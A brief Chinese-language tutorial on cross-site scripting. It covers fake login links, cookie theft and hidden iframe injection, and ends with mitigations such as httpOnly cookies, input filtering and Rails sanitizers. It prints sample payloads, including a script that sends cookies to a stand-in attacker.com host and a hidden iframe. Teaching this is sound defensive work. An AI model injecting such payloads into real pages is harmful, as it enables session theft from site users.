本文讨论:跨站脚本攻击
,Cross-Site Scripting(XSS)。
攻击原理
非法用户将可执行代码注入网页输入区域,输入的非法代码由程序保存,并且又展现出来,再在页面上执行。 主要可能发生在页面中有用户输入框的地方,例如:评论区、表单提交、搜索框等。属于被动攻击的一种,攻击者需要实现设置好陷阱,诱骗受害者触发。
伪造用户登录表单
原理
引导受害者点击预先设计好的链接,当用户打开网站时,会进行登录操作,用户名和密码也会被发送至攻击者的服务器。从而造成用户名密码泄露。url中可以夹带<script>
标签并被浏览器执行。
缓解方法
注意链接的合法性,是否有https
标志,域名是否正确,特别注意一些特别长的链接,查看链接里面是否有其他网站的域名。不要随意点击一些链接。
窃取Cookie或敏感数据
原理
由于JavaScript可以读写cookie
<script>document.write(document.cookie);</script>
攻击者就可以在嵌入的脚本中将用户的cookie信息发给指定的服务器。
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
在攻击者的服务器日志中就会产生如下
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
缓解方法
- 通过给cookie添加
httpOnly
标志,cookie将不能被js所读取。 - 给cookie加密,使得攻击者即使得到cookie,也难以解读和利用。
- 不使用cookie,使用其他替代方式。
插入攻击代码
攻击者可以插入一个iframe
或img
标签,将src指向另一段非法的js。
<iframe name="abc" src="http://abc.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>
这里的代码可能是其他的恶意代码。
整体对策
要过滤用户的输入,禁止输入一些非法字符和标签或代码。
最好使用白名单,而不是使用黑名单,只接受合法的字符或标签。
Rails提供了一些过滤方法,sanitize()、escapeHTML()、strip_tags(), strip_links() 等。